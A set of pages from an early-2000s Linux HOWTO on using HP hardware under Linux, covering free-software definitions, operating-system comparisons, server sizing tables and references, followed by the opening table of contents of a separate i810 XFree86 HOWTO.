This document is a guide on the use of products proposed by the hardware manufacturer Hewlett-Packard (HP) under Linux. It's a quick reference guide, covering all what you need to know to size, install and configure your products under Linux, or which complementary software will be useful for their use. Frequently Asked Questions find answers, and references are given concerning other sources of information related to HP technologies and applications.

Opinions expressed here are those of the author, and don't commit both Medasys or Hewlett-Packard . Informations are provided in the aim to be useful to the readers. However, there can't be, through this document, any warranty of any kind either from Medasys or HP on these systems under Linux, as well as from myself. Neither Medasys, nor HP, nor the author could be responsible for any problem caused by the use of this information. However, software editors don't guarantee you a lot either (re-read the contracts).

1.1.1. New versions of this document

New versions of this document will be announced regularly on the Usenet groups news:fr.comp.os.linux.annonces and news:comp.os.linux.annonces. They will also be updated on the various anonymous ftp sites which archive such information, mainly ftp://ftp.ibiblio.org/pub/Linux/docs/HOWTO/.

Hypertext versions of this and other Linux HOWTO are available on many web sites, including http://www.linuxdoc.org/HOWTO and http://www.freenix.org/unix/linux/HOWTO. Most Linux distributions on CD-ROM include the HOWTO, often under the /usr/share/doc, directory, and you can also buy printed copies from several vendors. Sometimes the HOWTO available from CD-ROM vendors, ftp sites or printed format are out of date. If the date on this HOWTO is more than 6 months in the past, then a newer copy is probably available on the Internet. The site of reference for this HOWTO is http://www.hyper-linux.org/HP-HOWTO/current

Old versions of this document are also available at

If you make a translation of this document into another language, please let me know so that I can include a reference to it here. The following versions are currently available : http://www.HyPer-Linux.org/HP-HOWTO/old

  • French by <Bruno@HyPer-Linux.org>

  • English by <Bruno@HyPer-Linux.org>

  • Japanese by <junichi_shimoda@hp.com>

As english isn't a native language for me, I would really appreciate any correction on the english version.

1.1.2. Suggestions and contributions

I rely on you, the reader, to make this HOWTO useful. If you have any suggestions, corrections, or congratulations :-) don't hesitate to send them to me <Bruno@HyPer-Linux.org>, and I will try to incorporate them in a next revision.

I've created a mailing-list dedicated to this document. Every person interested to contribute can register at mailto:sympa@eurolinux.grenoble.hp.com?subject=subscribe%20hp-howto,

I am also willing to answer general questions on HP hardware and software with Linux, as best I can. Before doing so, please read all of the information in this HOWTO, and then send me detailed information about the problem.

If you publish this document on a CD-ROM or in hardcopy form, a complimentary copy would be appreciated; mail me for my postal address. Also consider making a donation to the Linux Documentation Project to help support free documentation for Linux. Contact the Linux HOWTO coordinator, Guylhem AZNAR <guylhem@rrremovethis.oeil.qc.ca>.

Previous | Home | Next
HP HOWTO |  | Aknowledgements


Linux as computing server

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 4. Solutions and Sizing Next

4.3. Linux as computing server

Generally, this machine is extremely stressed, mainly on the processor and RAM aspects. Sometimes this is combined with intensive I/O needs. We thus equip such a machine with high-end processors (nowadays Pentium III Xeon) with the greatest level 2 cache possible (nowadays 2 MB). In RAM, we would tend to reach the maximum possible, thus 4 GB. For this type of server, we should adapt the swap such as it covers all the needs in memory required by the computing codes to execute. There is often no specific constraint on network performances, except in case of a computing cluster, in which case we may consider to equip the machines with 100 Mb/s cards with a switch between them, even with Myrinet, Dolphin or Gigabit products. Typically, a LP1000 2*PIII 1.4GHz 1 GB/2*9GB is the target of this type of server. The choice is extremely variable depending on the nature of the computation to do. We should underline that there are processors, such as PA-Risc, much more performant in floating point computation than today Intel processors (up to 6 times). The new IA-64 Itanium family seems also to bring a better compromise for price/performances for that environment.

This is by the way not the only approach as shown by the i-cluster project. Cf: http://www.hpl.hp.com/techreports/2001/HPL-2001-206.html

Previous | Home | Next
Internet/Intranet Linux server | Up | Linux as an office server


Linux as an office server

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 4. Solutions and Sizing Next

4.4. Linux as an office server

This kind of server is for the moment rare in the free software world. It's more frequent in Microsoft world, by association with Metaframe solutions of Citrix. An office server needs 50 MB of RAM per user. Intrinsically, this machine has no requirements in term of disk, if it's not at the same time a file server. Processor resources used are important, thus it could be useful to consider the increase in frequency and the addition of processors, because this type of traffic could be quite well done in parallel.

Table 4-8. Sizing of an office server

Simultaneous users | RAM size | Disk size | Machine example
1 - 10 | 512 MB | 9 GB | E800
10 - 50 | 2 GB | 9 GB | LC2000 Bi-processor
50 - 100 | 4 GB | 18 GB | LH6000 Quadri-processor
Previous | Home | Next
Linux as computing server | Up | Frequently Asked Questions (FAQ)


Internet/Intranet Linux server

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 4. Solutions and Sizing Next

4.2. Internet/Intranet Linux server

4.2.1. Web Server

The Web service uses 2.5 MB of RAM, in static mode (simple HTML pages) and 5 MB of RAM in dynamic mode (HTML pages generated from perl, PHP, ...) per user. The disk space needed is function of the nature of the server, knowing that most of the consumption comes from images. Processor resources used are important, thus it could be useful to consider the increase in frequency and the addition of processors, because this type of traffic could be quite well done in parallel. With Apache 2.0 and the support of threads, it will become even more obvious. We will priviledge also the I/O speed with Ultra 2 LVD SCSI at 80 MB/s, if the budget allows it, and 10.000 RPM disks.

Table 4-3. Sizing of a static Web server

Simultaneous users | RAM size | Disk size | Machine example
1 - 100 | 256 MB | 9 GB | E800
100 - 500 | 1 GB | 9 GB | LC2000 Bi-processor
500 - 1000 | 2 GB | 9 GB | LH6000 Quadri-processor

Table 4-4. Sizing of a dynamic Web server

Simultaneous users | RAM size | Disk size | Machine example
1 - 100 | 512 MB | 9 GB | E800
100 - 500 | 2 GB | 9 GB | LC2000 Bi-processor
500 - 1000 | 4 GB | 18 GB | LH6000 Quadri-processor

4.2.2. Mail Server

Generally, this machine is used as both SMTP (sending and reception of messages) and POP/IMAP server (keeper of messages and manager of client accesses). The SMTP Mail service uses 2 MB of RAM per user. The POP/IMAP Mail service uses 2 MB of RAM per user. The disk space needed becomes more and more important as long as attachments (images, various documents) take the greatest place in exchanges via e-mail. We consider in that case that an average mail box size is 50 MB. Processor resources used are important, thus it could be useful to consider the increase in frequency and the addition of processors, because this type of traffic could be quite well done in parallel.

Table 4-5. Sizing of an e-mail server

Simultaneous users | RAM size | Disk size | Machine example
1 - 100 | 400 MB | 9 GB | E800
100 - 500 | 2 GB | 27 GB | LC2000 Bi-processor
500 - 1000 | 4 GB | 54 GB | LH6000 Quadri-processor

4.2.3. Firewall/Proxy/Web-Cache server

Generally, this machine is both a Firewall server, a proxy (in both directions) and a cache for the Web because all requests go through it. The Firewall service uses 1 MB of RAM. The Proxy service uses 0.3 MB per incoming relay. The Web cache service uses 0.5 MB per user. The disk space needed is function of the parameters of the cache Web server. In that case, we consider 20 MB per user. Processor resources used are important, due to the analysis of IP packets. Thus it could be useful to consider the increase in frequency.

Table 4-6. Sizing of a Firewall/Proxy/Web-Cache server

Simultaneous users | RAM size | Disk size | Machine example
1 - 100 | 128 MB | 9 GB | E800
100 - 500 | 512 MB | 18 GB | E800
500 - 1000 | 1 GB | 27 GB | E800

4.2.4. Directory server

Generally, this machine use a software like OpenLDAP to fulfill its goals. The LDAP service uses 1 MB of RAM and 10 kB of RAM per user. The disk space needed is of the same kind, so 10 kB per user. Processor resources used are moderated.

Table 4-7. Sizing of a LDAP server

Simultaneous users | RAM size | Disk size | Machine example
1 - 100 | 64 MB | 9 GB | E800
100 - 500 | 64 MB | 9 GB | E800
500 - 1000 | 128 MB | 9 GB | E800
Previous | Home | Next
Solutions and Sizing | Up | Linux as computing server


Linux and other operating systems

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 2. Presentation of Linux and Free Software Next

2.3. Linux and other operating systems

The aim is not to examine completely or to compare the functions of the various operating systems available. It's more upon looking at the respective positions of Linux in comparaison with other systems. Only systems having a sufficient representation on the market are considered.

2.3.1. Linux and other proprietary Unix (HP-UX, Tru64, AIX, Solaris, Irix)

The situation taken by all the hardware manufacturers places Linux today in the entry level (when it's taken in account) and their own Unix system in the middle and high level. Reality is sometimes more cruel than the situation wanted by the marketing department :-). Technically, a Linux distribution has no cause to be envious of the manufacturers Unix solutions, except for the moment the set of commercial applications and some high-end hardware configuration support. And we can often see that users dope their Unix workstations with free software to complete their usage.

To be precise in the talk, we should consider manufacturers Unix solutions as split in stations and servers.

On the station side, there's no doubt in my mind: for a customer, the only reason today to buy one is linked to the availability of a software or a hardware which wouldn't exist in the free environment, or due to intrinsic performances of the machine. In the first case, we can see that this argument should have a short life time, because logically every software editor (except maybe hardware manufacturers) and every hardware manufacturer has interest in porting their applications or allowing the use of their hardware on all the major environments in the market. As shown by Oracle, Informix, Sybase, ... Linux becomes today one of the major environments. In the second case, the difference in term of performances between the Linux dominant platform (IA-32) and the other competitors decreases and will disappear with the generalisation of the IA-64 architecture, which seems to be adopted largely by a majority of actors. More over, Linux is often available natively on the processors of these actors (Sparc, Mips, PowerPC, 68xxx, Alpha, Crusoe, PA-Risc). I think Linux may represent the famous unique and standard Unix that everybody dreamed of from a long time, without succeeding to impose it (the open and free characteristics brought by Linux are not without influence on that). I think that at the end hardware manufacturer Unix workstations will be restricted to some niches such as high end computation, virtual reality, ... and that as long as solutions are not available on a free environment. Linux offers all the functional qualities of the other Unix systems, and thus of the workstation, on a more various hardware platform and potentially at a better price, if on PCs. So it is the natural choice of every computer engineer with a strong Unix culture (old customer of the workstation) who will prefer that solution to the migration to a Microsoft system typically. With IA-64, we can see that Linux was the first operating system available (including graphical support).

On the server side, in addtion to the points mentionned previously for the stations, problems are more complex. Ram, disks, processors capacities, extensions of every kind make them difficultly repleacable by machines with a IA-32 architecture for example. More over, certain solutions such as high availability clusters for example have just been put in production in a Linux environment, compared to years of operation under Unix. The other brake is often linked to investments already done around software solutions deployed on these servers. Whatever their natural life time is much higher than those of the stations. Changes will thus be made more slowly in that domain. Here we can consider rightly Linux solutions as an entry/middle level solutions, when hardware manufacturer Unix servers are the middle/high level. The introduction of Linux in place of these machines will begin only with a massive availability of applications, mainly in the management sector. Again IA-64, with increased SMP capabilities (16 processors today), higher bandwidth, ... will make things change.

The advantages of the hardware manufacturer solutions, explaining why they are so often chosen when applications are critical, are linked to the homogeneity of the solution (hardware and software mastered by the same entity, which can't invoke a third party in case of problem), and to the support and maintenance guarantees furnished.

Finally, there is not so much antagonism between these systems, because they are full cousins. Their association allows today to computer teams "pro-Unix" to have solutions from start to finish, without having to lose in functions, as it's so often the case with other operating systems available for personal computers.

2.3.2. Linux and SCO/Caldera

The comparaison between Linux and the SCO systems seems to me quite unbalanced. First, all the previous points are vaild here also. More over, SCO isn't a hardware manufacturer, so the homogeneity advantage disappears. The IA-32 Intel platform is supported by both systems, so cost is identical. On the other hand, the software solution has a disproportionate cost (few software provided in the base install, thus a lot of expenses to extend, as well as to increase the number of users). Having to manage one OpenServer, I can say that performances are far beyond those of a Linux system. More over, its conception is older, abounds of symbolic links which makes management complex. The hardware supported by SCO is less numerous than those Linux supports. Only stay as an advantage the installed base and the set of applications available. But for how long ? Caldera now owns both SCO software (Openserver and Unixware) and its own Linux distribution. But instead of trying to free technologies from SCO, they are proprietarizing their linux (1 license per server).

2.3.3. Linux and Windows NT/2000/XP

The comparaison is here more difficult, because Windows NT/2000/XP isn't an open system, as the precedings, which is already redhibitory for certain users. An excellent comparaison was made by John Kirch between Unix and Windows NT Server. I recommend to people searching to have an enlightened opinion on this subject to read it; it's updated regularly and was written by a specialist of both Microsoft and Unix operating systems. Financially, obvious advantage for the free software. And it's more obvious, as for SCO, if you consider the set of complementary software you need to use a server. The author evaluates the difference from 1 to 100 all the same ! Technically, either on the functions provided or on the reliability, the administration, the performances, the hardware supported, and more over the security, Unix systems and particularly free systems outperform what is proposed by Windows NT/2000/XP. The fact to have a GUI non independant from the kernel contributes greatly to the instability of NT/2000/XP, because it's more difficult to avoid errors in a GUI (there is no mastering possible of the user comportment in front of it) rather than in a kernel.

Which are the real advantages of Windows NT ?: the marketing power of Microsoft which persuades the world that computers equal Windows and which leans on the enormous installed base; its office applications (a monopolistic situation on the market) only available in this environment; the confusion maintained between the various flavours of Windows (95/98, NT, 2000), and between the server and client functions; its agreements with the biggest hardware manufacturers which often require them to provide a Microsoft system with their platforms; its technological initiatives to occupy the market in first, based on proprietary code and that often without respect of known or documented standards, or its policy to embrace for killing a movement (described in the "Haloween documents").

The lack of hegemony in the servers sector is the best reason to hope that a plurality of solutions may exist in the future for computers users, also at the desktop. The new XP licensing schema, the passport tool, the registering mechanism during installation are real brakes for users thinking to migrate from a current platform to a new one, as well as the hardware costs linked. In that perspective, an opensource solution should and will be more and more considered.

Previous | Home | Next
Free software concepts | Up | Linux and HP products


Presentation of Linux and Free Software

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Next

Chapter 2. Presentation of Linux and Free Software

Table of Contents
2.1. Some definitions
2.2. Free software concepts
2.3. Linux and other operating systems

2.1. Some definitions

Before going into more details in the presentation, it could be useful to give some definitions of terms and software mentionned in that HOWTO.

2.1.1. Free Software or Open Source software

A free software (or Open Source software) is a software distributed with its source code, allowing its study, its transmission, its adaptation. The problem, in english, is the use of free, which has both meanings of "at no cost" and "without constraint". Here, it's the second use which has to be considered, hence the use of Open Source. To remember, think of free as speech, not beer.

Depending on the licenses used for its development, the constraints for users of such a software are various. The most open licenses (like the BSD one) allow code appropriation by third parties, including the resell of the resulting software (with or without modification) in commercial products, without any problem, and without owing something else to the originators than the mention of their copyright. Other licenses (like the GNU Public License or GPL) force every modified GPL software to be free GPL software itself ; this doesn't allow the use of such programs in a commercial one. Many other licenses exist, more or less open: the Artistic License (perl), the NPL one (mozilla), the QPL one (Qt) ...

A vast majority of free software is today under the GPL license, even if the BSD world takes always a great place, however less visible, mainly in the press. Linux is placed under the GPL. To have more information on these definitions and the licenses, please refer to the following reference sites :

GNU project Web site

You find there all information on the GNU project, including the licenses produced (GPL and LGPL) and various discussions on free software.

Open Source project Web site

This site proposes a new definition, a bit less restrictive, of free software - called here OpenSource Software - by well-known people.

FreeBSD project Web site

Here are explained the advantages of the very open BSD license.

2.1.2. Examples and counter-examples

First of all, free software and freeware shouldn't be mixed up. A freeware is not necessarily a software provided with its sources, on the contrary of a free software. On the other side, on the contrary of a freeware, you may be charged to obtain a free software (it's not in contradiction with the license used). The ambiguity, as stated before, comes from the word "free" . A freeware is then free of charge, but not necessarily "free of sources". (As well, the shareware has nothing to do with free software).

So examples of important and well-known free software are the Linux and FreeBSD operating systems, the Apache Web server, the SaMBa SMB server, GNU C and C++ compilers ... A contrario, examples of well-known freeware are the Internet Explorer browser, the Eudora Light mail reader, ...

2.1.3. Linux

Linux is a free operating system, superset of the POSIX norm. "Linux" points out the kernel alone. By extension, the name is also given to distributions based on that kernel plus a set of tools from the GNU project.

Linux is by consequence a Unix system, except that it doesn't use any proprietary code and is furnished under the GPL license, implying the availability of the sources. As every Unix system, Linux is multi-tasking and multi-user. It's also extremely portable, and it is available officialy today on processors such as Intel (i386 to Pentium IV), Alpha, Motorola (680x0 and PowerPC), Sparc, StrongArm, Mips. Without mention of the ports, operational or in process on PalmPilot, Itanium (ex-Merced), PA-Risc, Crusoe ...

The system is today perfectly stable and mature. Versions "x.y.z" of the Linux kernel, where "y" is an even number, are stable and only bug corrections are generaly applied when "z" increases. Versions "x.y.z" of the Linux kernel, where "y" is an odd number, are development versions which may be instable and are reserved to developers or intrepids.

From time to time, when the kernel development stabilizes a "freeze" is announced to furnish a new "stable" version (even), and the development goes on on a new version (odd).

The current stable version is the version 2.4.16 (this last number may evolve following the rythm of corrections). Development has on the other side begun again with a 2.5 version.

Numerous presentations of Linux are currently available. Among them, you should consult the one made by Michael Johnson at http://www.linuxdoc.org/HOWTO/INFO-SHEET.html

2.1.3.1. Linux technical characteristics

The system offers the following technical characteristics :

  • Multi-tasking : executes several programs in pseudo-parallel.

  • Multi-users : many users acting on the same machine at the same time (without worrying on licenses).

  • Portable and interoperable : works on several hardware architectures. All the sources are available. Linux supports a lot of file systems, outside the native ext2 : System V, BSD, Sun, MS-DOS, VFAT, NTFS, Mac, HPFS, EFS, ISO9660. On the network side, it supports the following protocols TCP/IP v4 and v6, Appletalk, Netware (client and server), Lan Manager SMB (client and server), X-Window, NFS, PPP, SLIP, UUCP.

  • Performant architecture : modular kernel, built at will, execution in protect mode on 80x86 processors, page load on demand, page share between executables when reading, virtual memory with swap on disk, use of a dynamical disk cache in memory, dynamic libraries, process management, pseudo terminals, virtual consoles.

  • Security : protection of memory between processes: one user program can't compromise the whole system operation. The kernel may also, on the other hand, filter network packets.

  • Respect of norms and standards : Posix, with System V and BSD extensions. Support of COFF and ELF binaries. Binary compatibility with SCO, SVR3/4 through the iBCS2 module. Native Language Support as well as national keyboards, fonts...

Previous | Home | Next
Aknowledgements |  | Free software concepts


References

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Next

Chapter 7. References

I already mentioned the documentation files, installed typically under the directory /usr/src/linux/Documentation. They are a real gold mine of useful information.

The following FAQ (Frequently Asked Questions) are periodically posted in the group news:news.answers and archived on FTP servers like ftp://rtfm.mit.edu :

  • FAQ of the group news:comp.os.linux.announce

  • FAQ of the group news:comp.sys.hp.hpux

A lot of other Linux HOWTO contain information useful related to our subject :

  • Linux SCSI HOWTO

  • Linux CD-Writing HOWTO

  • Linux Hardware HOWTO

  • Linux Distribution HOWTO

  • Linux Kernel HOWTO

  • Linux Sound HOWTO

  • Linux PCMCIA HOWTO

  • Linux SMP HOWTO

  • USB under Linux

  • Linux Laptop Guide

  • Linux on HP Laptops

The following Usenet groups cover subjects related to HP :

  • news:comp.sys.hp.hardware

  • news:comp.sys.hp.misc

You may also consult the groups mentioned in Section 2.2.2.5.

On Internet, you may consult with a great benefit the following sites :

Table 7-1. Web sites of HP

Subject | URL
HP Linux Portal | http://www.hp.com/go/linux
HP and Linux | http://www.hp-linux.org
HP France Education Linux | http://hpwww.ec-lyon.fr/hpeduc/education/offre/linux/educ_linux.html
HP Support | http://www.hp.com/hps/support/h_linux.htm
HP HOWTO | http://www.HyPer-Linux.org/HP-HOWTO/current/index.html
Linux Pa-Risc (Puffin Group) | http://www.parisc-linux.org
Linux Pa-Risc (ESIEE) | http://mkhppa1.esiee.fr/en/
PA-RISC/Linux Boot HOWTO | http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot/index.html
Linux and HP Labs | http://www.hpl.hp.com/research/comp_systems.html#Linux Technology
Linux IA64 | http://www.linuxia64.org
Linux IA64 (HP Labs) | http://dtf.external.hp.com/dtf/swdev/1999/08/feature1_a.html
HP embedded software developer's network | http://devnet.hp.com
HP printer drivers | http://hp.sourceforge.net/
HP RedHat certification | http://bugzilla.redhat.com/certification/cert-report.php3?mod_company=Hewlett+Packard
HP Linuxcare certification | http://www.linuxcare.com/labs/certs/C1F5.epl
SAP HP Netserver certification | http://www.sap.com/solutions/technology/linux/hp-hw.htm
HP Utigroup | http://www.hputigroup.com

Table 7-2. Other fundamental sites on Linux and Open Source Software

Subject | URL
Linux Documentation Project | http://www.linuxdoc.org
Linux Weekly News - Summary of 1998 | http://lwn.net/1999/features/1998timeline/
Linux Weekly News - Summary of 1999 | http://lwn.net/1999/features/Timeline/
Linux Weekly News - Summary of 2000 | http://lwn.net/2000/features/Timeline/
IOS Counter | http://www.leb.net/hzo/ioscount/index.html
Comparaison MS-Windows NT Server 4.0 -- Unix | http://www.linux-france.com/article/these/unix-vs-nt/unix-vs-nt.html
Netcraft studies | http://www.netcraft.com/survey/
L'AFUL (Association) | http://www.aful.org
APRIL (Association) | http://www.april.org
Linux Center | http://www.linux-center.org
Linux France | http://www.linux-france.com/
Linux Journal | http://www.linuxjournal.com
Linux Gazette | http://www.linuxgazette.com/
Linux Magazine France | http://www.linuxmag-france.com/
Linux Start | http://linuxstart.com/index.html
Da Linux French Page | http://linuxfr.org/news/
RedHat Hardware support | http://www.redhat.com/cgi-bin/support
Mandrake Hardware support for HP | http://www.linux-mandrake.com/fr/hardware.php3?F_FAMILY=all&F_MANUFACTURER=HP&F_STATUS=all&F_SEARCH=TRUE
Mobilix : Linux Mobile | http://mobilix.org/
Linmodems | http://linmodems.org/
Notebook HQ : Linux Mobile | http://www.linux-notebook.org/laptops/
Developers Servers | http://www.linuxmama.com/dev-server.html
IA-64 project leader Web site at Cern | http://sverre.home.cern.ch/sverre/SJ.html
IA-64 Intel Web site | http://developer.intel.com/design/itanium/index.htm
Medasys Linux | http://www.medasys-digital-systems.fr/linux

Previous | Home | Next
Customer References |  | Contributors


Solutions and Sizing

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Next

Chapter 4. Solutions and Sizing

Table of Contents
4.1. Linux as file and print server
4.2. Internet/Intranet Linux server
4.3. Linux as computing server
4.4. Linux as an office server

This chapter proposes an help for sizing NetServers under Linux, depending on the different kind of use.

You have to consider that exercise as a bit perilous. Indeed, only the reality allows to test such previsions. Nevertheless, using the experience acquired by deploying solutions in the past, we can give some useful rules.

We may apply a certain number of rules valid for the sizing of classical Unix servers, considering that CISC systems (the majority in Linux environment) need 2.5 less times resources in memory than RISC systems, due to the fact that binaries used are smaller (Intel platforms are for the moment 32 bits architectures). This has also influences on disk and swap space.

It's obvious you have to consider, whatever the system, bottlenecks of the solution put in place, because they will determine the weakest link in the chain.

You have to look particularly at the following points :

  • The number and the speed of disks (the I/O rate of 10.000 rpm disks may go up to 20 MB/s, and 25 for 15.000 rpm disks),

  • The number and the speed of SCSI controlers (the I/O rate of Ultra2 LVD of the LC2000 - LH3/4/3000/6000 may go up to 80 MB/s, and latest B model up to 160 MB/s),

  • The addition of a supplementary SCSI card supported, when adding slow peripherals (DAT, DLT, CD writer ...) in order to avoid that the controler slow down in compatible mode, and that I/O performances drop significantly.

You have also to be suspicious of the extensible functions of machines. Indeed, it's often better for a customer to add a new server, rather than to increase the capacities of the one in place. The first reason is a financial one, on one side, because the costs of add-ons on an already old system may be near those of a new system, whose prices are becoming cheaper and cheaper. And the same for maintenance. On the other hand, technically, it could be more interesting to benefit from the latest technologies to obtain a machine more equilibrate, powerful and to reuse the old one for secondary tasks (secondary DNS, ...) or to split processes from the other one. For example, when Ultra2 LVD was introduced, it was more interesting to buy a new server to benefit from the 80 MB/s SCSI bus speed, rather than to update a server which had 40 MB/s Ultra Wide SCSI. This implies that it's interesting to size correctly the server, from the begining, for the whole forseeable period of life of its use (typically 3 years nowadays).

In the same kind of ideas, you have to examine closely the choice between a bi-processors and two mono-processors machines. 2 different systems imply 2 disk controlers, 2 disks set, 2 separate RAM busses thus better performances, but more administration. On the other hand, a unique system renders it easier, allows for a quicker communication between processors, which could be necessary for certain applications, but makes the environment more fragile (more downtime in case of an hardware problem). In fact, there are more losses intrinsically on a multi-processor model, in communications at the system level. This question should mainly be considered for the addition of a processor (necesseraly obsolete) on a machine a posteriori, rather than to add a new server.

On memory aspects, Linux can manage today up to 64 GB in stable kernels. Linux takes the maximum from the memory you give to it, mainly by the constitution of a cache disk which improves greatly system performances. You may thus oversize the quantity of RAM installed, because it's preferable to a situation where the server would be forced to swap (which drop performances dramatically). The minimum RAM size provided on the NetServers (128 ou 256 MB) matches perfectly a normal use of a system, and doesn't need any particular addition. You have to take in account that there is no graphical environment used on production servers. Concerning the swap, under Linux, it comes in addition to the RAM to give the complete virtual memory available for the server. As a base rule, it's recommanded to give the same amount of swap space as the amount of RAM, to allow the system to put on disk nearly all the running processes in case of need. But the rule which exists for System V Unix (such as HP-UX) consisting of reserving twice the amount of RAM for swap isn't useful under Linux. You may note that Linux may swap certain inactive processes to free the maximum RAM possible. So having a system whose swap is partially used isn't necesseraly a proof of lack of memory, nor lack of performances.

You'll find below recommandations depending of the type of use made by the HP NetServer under Linux. It's possible to cumulate several functions on the same server. You'll take care to add at least in that case the resources needed to give the services.

Some generic rules have to be considered :

  • We consider that the number of simultaneous users is the same as half the whole number of users on the server.

  • The minimal RAM size needed for a usable Linux server is 32 MB, which is less than the minimum amount of RAM available on the NetServers (128 MB). In case you use X-Window with KDE or Gnome on this machine, you need to have 64 MB in supplement, thus 96 MB as a minimum.

  • The minimal disk size needed for a usable Linux server is 2 GB, which is less than the minimum amount of disk available on the NetServers (9 GB).

  • In case of use of Raid 1, you have to double the amount of disk space useful to obtain the disk space needed. In case of use of Raid 5, you need to add 1 disk to obtain the disk space needed (up to 8 disks).

  • Except in particular cases (computing server), the amount of swap is the same as the amount of RAM.

  • The minimal processor needed for a usable Linux server is a Pentium 133, which is less than the minimum processor available on the NetServers (Pentium III 933).

  • Each X-Window user excuting a client on the server uses in average 2 MB.

  • It may be useful to add network cards in this type of machine to smooth the traffic, depending on the number of clients. Using the bonding option provided by the Linux kernel may also be very useful.

You may also consult the linux performance tuning document provided by Adrian Likins

4.1. Linux as file and print server

4.1.1. Linux as file server

The sharing service uses 2 MB of RAM, and 2 more MB per share. In case of a unique share (users space for example), it leads to a 2 MB consumption per user. In the proposed case, we estimate that each user has 100 MB of disk space on the server, with an evolution to 200 MB 3 years later. Processor resources used are relativeley small, an entry level model will be sufficient from that point of view. We will priviledge the I/O speed with Ultra 3 LVD SCSI at 160 MB/s, if the budget allows it, and 15.000 RPM disks.

Table 4-1. Sizing of a file server

Simultaneous users | RAM size | Disk size | Machine example
1 - 100 | 312 MB | 27 GB | E800
100 - 500 | 1 GB | 117 GB | LC2000
500 - 1000 | 2 GB | 216 GB | LH3000

4.1.2. Linux as print server

The sharing service uses 2 MB of RAM, and 2 more MB per printer shared. In case of a unique share (One printer per user typically), it leads to a 2 MB consumption per user. In the proposed case, we estimate that each user prints simultaneously files of 5 MB in average, thus we need to have that space available on the server. Processor resources used are relativeley small, an entry level model will be sufficient from that point of view.

Table 4-2. Sizing of a print server

Simultaneous users | RAM size | Disk size | Machine example
1 - 100 | 312 MB | 9 GB | E800
100 - 500 | 1 GB | 9 GB | E800
500 - 1000 | 2 GB | 9 GB | LC2000
Previous | Home | Next
HP as an Open Source Software user and contributor |  | Internet/Intranet Linux server


Aknowledgements

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 1. Introduction Next

1.2. Aknowledgements

Most of the information provided here come from research made in HP documentations, files provided with Linux kernel sources, the FAQ of the Usenet newsgroup news:comp.sys.hp.hpux with a HTML version available on all mirror sites like the CICT, my own experience on HP products, a lot of tests and deployments realised, and remarks from Linux users as well as many HP's engineers.

Numerous people have contributed to this document and augmented its contents. You'll find the most complete possible list in the Chapter 8. I would like to thank just now, without any particular order, those without whom this document would simply not exist :

  • Marc Hia Balié <Marc_Hia-Balie@hp.com>, who ordered that document and accepted to make it a free documentation.

  • Linus Torvalds, for the Linux project (without it, nothing would exist).

  • Richard Stallman, for the GNU project (without it, nothing would exist either).

  • Nat Makarévitch <nat@nataa.frmug.org>, for his work as translator and his advocacy conferences.

  • Xavier Cazin <xc@itp.fr>, for his talent to convince me to use DocBook.

  • Eric Dumas <dumas@Linux.EU.Org>, for the management of the french LDP.

  • Rémy Card <Remy.Card@linux.org>, for ext2 and his love of electricity :-)

  • René Cougnenc, to have helped a lot of people to begin with Linux, including myself.

  • Dany Coffineau <Dany.Coffineau@alcatel.fr>, for teachnig me Unix.

  • François Strobel <Francois.Strobel@alcatel.fr>, for his peacefulness and legendary patience :-)

  • Frédéric Dubuy <F.Dubuy@atrid.fr>, who contributed to the writing of that document and took all the work I couldn't achieve, while I was writing it. Without saying he's also the graphist of the logo !

  • Alain Pascal <pascal@montrouge.omnes.slb.com>, for the several tests made.

  • Pascal Lemonnier <Pascal.Lemonnier@medasys.fr> typography expert who found a lot of typos.

  • Ralf S. Engelschall <rse@engelschall.com>, who realised the wml tool set, used to manage the languages of this document.

  • Cees de Groot <cg@sgmltools.org>, who realised the SGMLTools used to generate the first version of this document.

  • Norman Walsh <ndw@nwalsh.com>, who realised the SGML DTD DocBook. which allows to generate all the versions of this document from a single SGML source.

  • James Clark <jjc@jclark.com>, who realised the tool Jade.

  • Cornec family <cornec@victoria.frmug.org>, for his patience and his support.

Previous | Home | Next
Introduction | Up | Presentation of Linux and Free Software


Future versions

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous

Chapter 9. Future versions

This chapter gives indications on elements which should be taken in account in future versions of this document. It should be taken more as a reminder for the author, than as an engagement of what he will really do !

Version 0.95

Images path.

Better management of the size of tables (PS).

Place of the footer (PS).

One line paragraph management.

Management of the size of papers, margins and images (PS).

Paragraph on TX/e-vectra management

Rework the printer paragraph

Info script to pass on machines and create a new entry

Integrate LinuxCare certif

Version 0.96

URLs verification in function of the language. Use of official addresses and paragraph on mirrors.

Rework the cluster part

Paragraph on APM for mobiles computer

Linux as a backup server (Arkeia)

Remote Assistant - Remote Control. Management

Put the Argumementations in the TOC (HTML).

Avoid titles in end of page (PS).

Paragraph on network products

Version 0.97

Detail limitations of evolution from Unix to Linux

Rework the example of the vaccine :-)

Rework chapter 1 (put there history and new versions)

Glossary/Abbreviations

Previous | Home
Contributors |


i810 with XFree86 4.x HOWTO

Toby Russell

May 2001

Revision History
Revision 1.1 | 2001-05-09 | Revised by: tr
Revision 1.0 | 2001-05-01 | Revised by: tr
Initial release.

This HOWTO describes getting XFree86 4.x running on Intel's i810 graphics chipset by using special features of the 2.2.18 and 2.4.x kernels.

Table of Contents
1. Introduction
2. Down to business
2.1. Getting and installing X4.x
2.2. Get and compile kernel 2.2.18 or 2.4.x (including mknod agpgart stuff)
2.3. Nimbly tweak XF86Config
3. Thank you
Next
Introduction


Introduction

i810 with XFree86 4.x HOWTO
Prev Next

1. Introduction

